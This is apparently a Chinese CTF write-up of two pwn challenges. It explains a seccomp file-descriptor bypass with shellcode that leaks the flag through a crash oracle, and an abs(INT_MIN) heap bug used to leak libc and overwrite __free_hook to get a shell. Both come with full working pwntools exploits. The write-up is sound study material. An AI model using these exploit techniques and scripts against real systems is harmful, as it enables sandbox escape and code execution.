secretcode

这题实在被自己蠢到了。。调半天一直进不去异常处理,最后发现是自己的io交互写的不严谨,算是个教训吧。不过也学到了一点沙盒和汇编的知识。

题目

开了沙箱

限制了只能使用openread这两个系统调用
且对文件描述符也进行了限制。但这里存在绕过,因为真正使用read时,fd为int类型只使用rdi的低32位,只要设置rdi高32位大于0即可绕过seccomp的过滤。也就是说read(0x100000003)实际上达到read(3)的效果。

程序读入0x40字节数据,利用strcpy复制到rwx的内存处然后执行

做法

利用open打开flag文件
read将flag读到栈上
爆破,cmp指令比较字符是否相等,若相等则进入死循环,不产生异常将比对的字符加入flag,不相等则炸掉换一个字符继续比较。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

context(os="linux", arch="amd64")

def cmp_flag_by_byte(p, offset, ch):
code = asm(
"""
push 0x67616c66
xor rdi, rdi
xor rdx, rdx
xor rsi, rsi
mov rdi, rsp
push SYS_open
pop rax
syscall
push 1
mov rax, rdx
pop rdi
shl rdi, 0x20
add rdi, 3
mov rsi, rsp
push 0x50
pop rdx
syscall
mov cl, byte ptr[rsi+{}]
mov dl, {}
cmp cl, dl
jne out
jmp $
out:
xor rax, rax
jmp rax
""".format(offset, ch)
)
#print(hex(len(code)))
#gdb.attach(p, 'b *0x555555554d7f')
p.sendafter('======== Input your secret code ========\n', code)
#pause()


def pwn():

flag = ""
for offset in range(0x20):
for ch in range(0x21, 0x7E+1):
p = process("./chall")
#cmp_flag_by_byte(p, offset, ch)
cmp_flag_by_byte(p, offset, ch)
try:
p.recv(timeout=1)
except:
p.close()
continue
flag += chr(ch)
print 'flag===>', flag
p.close()
break
if(chr(ch)=='}'):
break

print flag


if __name__ == "__main__":
pwn()

jmp $跳转当前地址进入死循环,这样在recv的时候就不会报错
jmp rax让程序发生异常,在recv()的时候炸掉从而区别爆破的字符是否匹配

犯的很傻的错就是没有接受完程序本身的输出再判断,少了这一步导致在recv的时候就会收到程序自己的输出,结果不论是否匹配都不会产生报错。。

网上还有一种写法用time.time()计算recv前后的时间差从而判断是否发生异常,不过核心想法差不多。

babynote

题目

add

全局变量tot[0]记录已经申请的chunk数(从0开始)
大于16则退出程序
申请的size不大于0x2F0
分别记录size和chunk指针,只能往后记
read读入内容不存在溢出且会把最后以字节修改为\0
删除不改变变量tot[0],只增不减

edit

输入idx,输入offset,read读入
在计算offset时使用v1 = abs32(read_int()) % chunk_size[v0]
这里函数abs存在漏洞

abs实现如下

1
2
3
4
5
6
int __cdecl abs (
int number
)
{
return( number>=0 ? number : -number );
}

int类型数值范围为-2^31 ~ 2^31-1,即-2,147,483,648 ~ 2147483647,也即补码下的0x80000000 ~ 0x7fffffff
当执行abs(0x80000000)时,对int值-2,147,483,648取负会发生上溢,得到的结果仍然为-2,147,483,648,所以会返回一个负数

这里输入0x80000000后取余会得到负数,而v1又是int类型的,所以接下来的输入操作就会从当前的chunk的上方开始输入,且可输入的字节数大于其size

1
read_content((chunk_ptr[v0] + v1), chunk_size[v0] - v1)

delete

常规
free掉chunk并清空指针和size
但是计数不会减小

show

常规

打法

申请几个chunk先
利用abs的漏洞修改chunk的size位为三个chunk之和
然后free该chunk
再申请一次对应大小的chunk,让基址落到已存在的指针处从而泄露基址

然后再申请一次,此时全局变量上记录了两个指向同一地址的指针
利用uaf修改tcache的fd申请到__free_hook地址写入system地址
然后free掉对应写入了/bin/sh的指针即可getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./chall')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(sz, ms):
r.sendlineafter('> ', str(1))
r.sendlineafter('size> ', str(sz))
r.sendafter('msg> ', ms)


def edit(idx, off, ms):
r.sendlineafter('> ', str(2))
r.sendlineafter('idx> ', str(idx))
r.sendlineafter('offset> ', str(off))
r.sendafter('msg> ', ms)


def delete(idx):
r.sendlineafter('> ', str(3))
r.sendlineafter('idx> ', str(idx))

def show(idx):
r.sendlineafter('> ', str(4))
r.sendlineafter('idx> ', str(idx))
for i in range(8):
add(0x2e0, 'A'*0x27+'\n')

edit(0, 0x80000000, '\x00'*0x1f8+p64(0x8d1)+'\n')
delete(0)
add(0x2e0, '/bin/sh\x00'+'\n')
show(1)
data = u64(r.recv(6).ljust(8, '\x00'))
libc.address = data-96-0x10-libc.symbols['__malloc_hook']
free_hook = libc.symbols['__free_hook']
sys_addr = libc.symbols['system']
print hex(libc.address)
add(0x2e0, 'A'*0x27+'\n')
delete(7)
delete(6)
delete(9)
edit(1, 0, p64(free_hook)+'\n')
add(0x2e0, 'A'*0x27+'\n')
add(0x2e0, p64(sys_addr)+'\n')
delete(8)

r.interactive()